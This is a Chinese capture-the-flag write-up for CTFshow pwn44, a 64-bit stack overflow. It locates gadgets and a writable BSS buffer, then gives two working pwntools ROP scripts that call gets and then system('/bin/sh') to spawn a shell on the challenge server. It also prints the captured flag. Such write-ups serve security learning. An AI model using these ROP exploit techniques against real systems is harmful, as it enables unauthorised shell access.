• CTFshow-PWN-栈溢出(pwn44)


    64位的 system(); 但是好像没"/bin/sh" 上面的办法不行了,想想办法 

    检查:

    是 64 位程序 

    ida 反编译 main 函数:

    跟进 ctfshow 函数:

    存在栈溢出

    offset:0xAh+8

    在前面经验的基础上,这里我们直接开找

    存在 system 函数 

    system_addr:0x400520

    gets 函数地址

    gets_addr:0x400530

    这些函数的地址也可以通过查看 plt 表中的函数来获取:

    objdump -d -j .plt pwn

    与我们在 ida 中看到的是一样的 

    对于 64 位程序我们一般还需要获取 pop rdi;ret 和 ret 的地址:

    ROPgadget --binary pwn --only "pop|ret"|grep rdi

    得到 rdi_addr:0x4007f3

    ROPgadget --binary pwn

    得到 ret_addr:0x4004fe

    接下来我们找可写的地址,先给程序加可执行权限后载入调试:

    1. chmod +x pwn
    2. gdb pwn

    设置断点:

    break main

    启动被调试的程序:

    run 

    break 和 run 命令可以直接用 b 和 r 简写 

    查看内存段的权限信息:

    vmmap

    可以看到 0x602000 到 0x603000 这个地址范围内是可读写的

    同样在这个地址范围内找到了一个 buf2 参数

    通常情况下,BSS 段下的变量是可写的。BSS 段是用来存储未初始化的全局变量和静态变量的,操作系统在程序加载时会为这些变量分配内存并将其初始化为零或空指针。因此,BSS 段下的变量通常具有读写权限,可以被程序写入数据。

    buf2_addr:0x602080

    编写 exp:

    1. from pwn import *
    2. context.log_level = 'debug'
    3. p = remote('pwn.challenge.ctf.show', 28146)
    4. offset = (0xA+8)
    5. system_addr = 0x400520
    6. gets_addr = 0x400530
    7. rdi_addr = 0x4007f3
    8. ret_addr = 0x4004fe
    9. buf2_addr = 0x602080
    10. payload = b'a'*offset + p64(rdi_addr) + p64(buf2_addr) + p64(ret_addr) + p64(gets_addr) + p64(rdi_addr) + p64(buf2_addr) + p64(ret_addr) + p64(system_addr)
    11. p.recv()
    12. p.sendline(payload)
    13. p.sendline("/bin/sh")
    14. p.interactive()

    可以打通,命令执行获取 flag 

    ctfshow{5ca922b5-cfdd-4b99-abd1-f306cf95a21c}

    exp2:

    主要是对 payload 的简化

    1. from pwn import *
    2. context.log_level = 'debug'
    3. p = remote('pwn.challenge.ctf.show', 28146)
    4. offset = (0xA+8)
    5. system_addr = 0x400520
    6. gets_addr = 0x400530
    7. rdi_addr = 0x4007f3
    8. ret_addr = 0x4004fe
    9. buf2_addr = 0x602080
    10. payload = b'a'*offset + p64(rdi_addr) + p64(buf2_addr) + p64(gets_addr) + p64(rdi_addr) + p64(buf2_addr) + p64(system_addr)
    11. p.recv()
    12. p.sendline(payload)
    13. p.sendline("/bin/sh")
    14. p.interactive()

    p64(ret_addr) 的主要作用是用来调整栈上的对齐以确保后续的地址正确对齐

    在这个 payload 中,由于 rdi 寄存器已经被设置为 buf2_addr 的值,我们在调用 gets() 函数之后并不需要返回到原来的函数中,而在调用 system() 函数之前,我们已经将 buf2_addr 的值再次放入栈中。因此,在这里两个 p64(ret_addr) 可以被省略,因为在调用 gets() 函数和 system() 函数之间并不需要进行额外的栈调整。 

    经过测试 payload2 也是可以打通的

    拿到 flag:ctfshow{5ca922b5-cfdd-4b99-abd1-f306cf95a21c}

  • 相关阅读:
    阴影进阶,实现更加的立体的阴影效果!
    操作系统-进程与线程(进程同步与互斥,进程互斥的软硬件实现方式)
    ML之LoR:基于信用卡数据集利用LoR逻辑回归算法实现如何开发通用信用风险评分卡模型之以toad框架全流程讲解
    无线充U型超声波电动牙刷方案开发
    在Linux系统中创建虚拟串口
    软件测试内卷严重,如何提升自己的竞争力呢?
    springboot 点滴(3)springboot ThreadLocal实现单机权限认证
    15套前端经典实战项目大合集,小白练手必备实战项目
    分布式监控平台——Zabbix
    C语言perror
  • 原文地址:https://blog.csdn.net/Myon5/article/details/138172249